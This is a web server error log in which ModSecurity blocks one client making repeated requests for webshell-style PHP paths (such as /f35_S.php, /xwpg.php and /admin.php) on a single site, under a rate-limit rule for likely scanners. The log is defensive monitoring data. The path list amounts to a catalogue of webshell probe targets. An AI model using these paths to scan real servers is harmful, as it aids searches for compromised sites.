[Wed Apr 22 23:49:30.725523 2026] [:error] [pid 6384:tid 6392] [client 172.213.243.103:40116] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/.well-known/nastar.php"] [unique_id "aejuCj58M3t15ICeWHWcTQAAAMU"]
[Wed Apr 22 23:49:31.213068 2026] [:error] [pid 6252:tid 6336] [client 172.213.243.103:50603] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/f35_S.php"] [unique_id "aejuC-tGYuiYb1nWBpRtjAAAARg"]
[Wed Apr 22 23:49:31.691338 2026] [:error] [pid 6384:tid 6387] [client 172.213.243.103:50622] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/f35_S.php"] [unique_id "aejuCz58M3t15ICeWHWcTgAAAMA"]
[Wed Apr 22 23:49:32.169329 2026] [:error] [pid 6252:tid 6312] [client 172.213.243.103:35494] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/f35_S.php"] [unique_id "aejuDOtGYuiYb1nWBpRtjgAAAQA"]
[Wed Apr 22 23:49:32.649348 2026] [:error] [pid 6344:tid 6351] [client 172.213.243.103:50526] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/f35_S.php"] [unique_id "aejuDEDOTF-pkQnDeUkf-gAAAAI"]
[Wed Apr 22 23:49:33.166790 2026] [:error] [pid 23776:tid 23783] [client 172.213.243.103:50511] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/2026w.php"] [unique_id "aejuDbRExf-1pAbSeJszLwAAAYU"]
[Wed Apr 22 23:49:33.676313 2026] [:error] [pid 6384:tid 6408] [client 172.213.243.103:35568] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/2026w.php"] [unique_id "aejuDT58M3t15ICeWHWcTwAAANU"]
[Wed Apr 22 23:49:34.152983 2026] [:error] [pid 6344:tid 6356] [client 172.213.243.103:34763] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/2026w.php"] [unique_id "aejuDkDOTF-pkQnDeUkf_QAAAAc"]
[Wed Apr 22 23:49:34.629945 2026] [:error] [pid 6250:tid 6267] [client 172.213.243.103:41962] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/2026w.php"] [unique_id "aejuDg-iZeQkqmQVfj40EQAAAE0"]
[Wed Apr 22 23:49:35.106965 2026] [:error] [pid 6250:tid 6271] [client 172.213.243.103:41949] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/111.php"] [unique_id "aejuDw-iZeQkqmQVfj40EgAAAFE"]
[Wed Apr 22 23:49:35.582692 2026] [:error] [pid 6344:tid 6357] [client 172.213.243.103:41282] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/111.php"] [unique_id "aejuD0DOTF-pkQnDeUkgAQAAAAg"]
[Wed Apr 22 23:49:36.064213 2026] [:error] [pid 6344:tid 6361] [client 172.213.243.103:35517] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/111.php"] [unique_id "aejuEEDOTF-pkQnDeUkgAgAAAAw"]
[Wed Apr 22 23:49:36.541867 2026] [:error] [pid 6344:tid 6369] [client 172.213.243.103:50618] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/111.php"] [unique_id "aejuEEDOTF-pkQnDeUkgBQAAABQ"]
[Wed Apr 22 23:49:37.018833 2026] [:error] [pid 6251:tid 6286] [client 172.213.243.103:41975] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp1.php"] [unique_id "aejuESsFAzbyObL-SQ6aBQAAAIE"]
[Wed Apr 22 23:49:37.497790 2026] [:error] [pid 23776:tid 23782] [client 172.213.243.103:40111] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp1.php"] [unique_id "aejuEbRExf-1pAbSeJszNQAAAYQ"]
[Wed Apr 22 23:49:37.977529 2026] [:error] [pid 6344:tid 6370] [client 172.213.243.103:35507] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp1.php"] [unique_id "aejuEUDOTF-pkQnDeUkgCgAAABU"]
[Wed Apr 22 23:49:38.457175 2026] [:error] [pid 6344:tid 6360] [client 172.213.243.103:40124] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp1.php"] [unique_id "aejuEkDOTF-pkQnDeUkgDQAAAAs"]
[Wed Apr 22 23:49:38.937091 2026] [:error] [pid 6384:tid 6403] [client 172.213.243.103:35480] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aligk.php"] [unique_id "aejuEj58M3t15ICeWHWcVwAAANA"]
[Wed Apr 22 23:49:39.415101 2026] [:error] [pid 6344:tid 6356] [client 172.213.243.103:35509] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aligk.php"] [unique_id "aejuE0DOTF-pkQnDeUkgEQAAAAc"]
[Wed Apr 22 23:49:39.893367 2026] [:error] [pid 6384:tid 6394] [client 172.213.243.103:37088] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aligk.php"] [unique_id "aejuEz58M3t15ICeWHWcWAAAAMc"]
[Wed Apr 22 23:49:40.371629 2026] [:error] [pid 6384:tid 6410] [client 172.213.243.103:39427] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aligk.php"] [unique_id "aejuFD58M3t15ICeWHWcWgAAANc"]
[Wed Apr 22 23:49:40.855630 2026] [:error] [pid 6252:tid 6322] [client 172.213.243.103:35543] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/byrgo.php"] [unique_id "aejuFOtGYuiYb1nWBpRtkAAAAQo"]
[Wed Apr 22 23:49:41.341179 2026] [:error] [pid 6250:tid 6272] [client 172.213.243.103:38281] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/byrgo.php"] [unique_id "aejuFQ-iZeQkqmQVfj40GQAAAFI"]
[Wed Apr 22 23:49:41.820831 2026] [:error] [pid 23776:tid 23791] [client 172.213.243.103:35471] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/byrgo.php"] [unique_id "aejuFbRExf-1pAbSeJszPAAAAY0"]
[Wed Apr 22 23:49:42.298551 2026] [:error] [pid 6250:tid 6264] [client 172.213.243.103:35505] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/byrgo.php"] [unique_id "aejuFg-iZeQkqmQVfj40GwAAAEo"]
[Wed Apr 22 23:49:42.776332 2026] [:error] [pid 6344:tid 6360] [client 172.213.243.103:38283] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xwpg.php"] [unique_id "aejuFkDOTF-pkQnDeUkgFQAAAAs"]
[Wed Apr 22 23:49:43.256182 2026] [:error] [pid 6251:tid 6300] [client 172.213.243.103:35484] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xwpg.php"] [unique_id "aejuFysFAzbyObL-SQ6aBgAAAI8"]
[Wed Apr 22 23:49:43.743099 2026] [:error] [pid 6344:tid 6349] [client 172.213.243.103:58193] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xwpg.php"] [unique_id "aejuF0DOTF-pkQnDeUkgGAAAAAA"]
[Wed Apr 22 23:49:44.230653 2026] [:error] [pid 6250:tid 6267] [client 172.213.243.103:37122] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xwpg.php"] [unique_id "aejuGA-iZeQkqmQVfj40IAAAAE0"]
[Wed Apr 22 23:49:44.710635 2026] [:error] [pid 6252:tid 6335] [client 172.213.243.103:38310] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ass.php"] [unique_id "aejuGOtGYuiYb1nWBpRtlAAAARc"]
[Wed Apr 22 23:49:45.199865 2026] [:error] [pid 6252:tid 6326] [client 172.213.243.103:40070] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ass.php"] [unique_id "aejuGetGYuiYb1nWBpRtlQAAAQ4"]
[Wed Apr 22 23:49:45.682341 2026] [:error] [pid 6250:tid 6258] [client 172.213.243.103:50537] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ass.php"] [unique_id "aejuGQ-iZeQkqmQVfj40IQAAAEQ"]
[Wed Apr 22 23:49:46.165603 2026] [:error] [pid 6252:tid 6324] [client 172.213.243.103:50514] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ass.php"] [unique_id "aejuGutGYuiYb1nWBpRtmAAAAQw"]
[Wed Apr 22 23:49:46.653294 2026] [:error] [pid 23776:tid 23801] [client 172.213.243.103:40095] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/about.php"] [unique_id "aejuGrRExf-1pAbSeJszPwAAAZc"]
[Wed Apr 22 23:49:47.131662 2026] [:error] [pid 6344:tid 6367] [client 172.213.243.103:38273] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/about.php"] [unique_id "aejuG0DOTF-pkQnDeUkgGwAAABI"]
[Wed Apr 22 23:49:47.611591 2026] [:error] [pid 6251:tid 6303] [client 172.213.243.103:58185] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/about.php"] [unique_id "aejuGysFAzbyObL-SQ6aBwAAAJI"]
[Wed Apr 22 23:49:48.104746 2026] [:error] [pid 23776:tid 23787] [client 172.213.243.103:50571] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/about.php"] [unique_id "aejuHLRExf-1pAbSeJszQQAAAYk"]
[Wed Apr 22 23:49:48.582731 2026] [:error] [pid 6344:tid 6361] [client 172.213.243.103:58225] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/no18.php"] [unique_id "aejuHEDOTF-pkQnDeUkgHQAAAAw"]
[Wed Apr 22 23:49:49.084458 2026] [:error] [pid 6344:tid 6352] [client 172.213.243.103:35461] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/no18.php"] [unique_id "aejuHUDOTF-pkQnDeUkgHwAAAAM"]
[Wed Apr 22 23:49:49.564426 2026] [:error] [pid 23776:tid 23789] [client 172.213.243.103:35503] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/no18.php"] [unique_id "aejuHbRExf-1pAbSeJszRQAAAYs"]
[Wed Apr 22 23:49:50.041225 2026] [:error] [pid 23776:tid 23785] [client 172.213.243.103:35515] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/no18.php"] [unique_id "aejuHrRExf-1pAbSeJszRgAAAYc"]
[Wed Apr 22 23:49:50.553682 2026] [:error] [pid 6344:tid 6363] [client 172.213.243.103:35516] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fine.php"] [unique_id "aejuHkDOTF-pkQnDeUkgIAAAAA4"]
[Wed Apr 22 23:49:51.067865 2026] [:error] [pid 6344:tid 6353] [client 172.213.243.103:37179] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fine.php"] [unique_id "aejuH0DOTF-pkQnDeUkgIwAAAAQ"]
[Wed Apr 22 23:49:51.544993 2026] [:error] [pid 6384:tid 6387] [client 172.213.243.103:37135] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fine.php"] [unique_id "aejuHz58M3t15ICeWHWcXQAAAMA"]
[Wed Apr 22 23:49:52.058907 2026] [:error] [pid 6252:tid 6322] [client 172.213.243.103:38303] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fine.php"] [unique_id "aejuIOtGYuiYb1nWBpRtoAAAAQo"]
[Wed Apr 22 23:49:52.572292 2026] [:error] [pid 6384:tid 6390] [client 172.213.243.103:35462] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/hplfuns.php"] [unique_id "aejuID58M3t15ICeWHWcXwAAAMM"]
[Wed Apr 22 23:49:53.058906 2026] [:error] [pid 6344:tid 6358] [client 172.213.243.103:58198] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/hplfuns.php"] [unique_id "aejuIUDOTF-pkQnDeUkgJgAAAAk"]
[Wed Apr 22 23:49:53.546969 2026] [:error] [pid 6344:tid 6362] [client 172.213.243.103:40086] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/hplfuns.php"] [unique_id "aejuIUDOTF-pkQnDeUkgJwAAAA0"]
[Wed Apr 22 23:49:54.025102 2026] [:error] [pid 9085:tid 9089] [client 172.213.243.103:50562] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/hplfuns.php"] [unique_id "aejuIt-_-or9vQnlWnro7gAAAUI"]
[Wed Apr 22 23:49:54.545130 2026] [:error] [pid 6384:tid 6394] [client 172.213.243.103:35552] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xa.php"] [unique_id "aejuIj58M3t15ICeWHWcZQAAAMc"]
[Wed Apr 22 23:49:55.026911 2026] [:error] [pid 6384:tid 6398] [client 172.213.243.103:35489] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xa.php"] [unique_id "aejuIz58M3t15ICeWHWcZgAAAMs"]
[Wed Apr 22 23:49:55.537867 2026] [:error] [pid 6384:tid 6396] [client 172.213.243.103:40072] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xa.php"] [unique_id "aejuIz58M3t15ICeWHWcaQAAAMk"]
[Wed Apr 22 23:49:56.020820 2026] [:error] [pid 9085:tid 9111] [client 172.213.243.103:64986] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xa.php"] [unique_id "aejuJN-_-or9vQnlWnro8wAAAVg"]
[Wed Apr 22 23:49:56.503045 2026] [:error] [pid 9085:tid 9092] [client 172.213.243.103:55877] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/admin.php"] [unique_id "aejuJN-_-or9vQnlWnro9AAAAUU"]
[Wed Apr 22 23:49:56.981230 2026] [:error] [pid 6384:tid 6401] [client 172.213.243.103:50591] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/admin.php"] [unique_id "aejuJD58M3t15ICeWHWccQAAAM4"]
[Wed Apr 22 23:49:57.484856 2026] [:error] [pid 6384:tid 6402] [client 172.213.243.103:37081] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/admin.php"] [unique_id "aejuJT58M3t15ICeWHWccwAAAM8"]
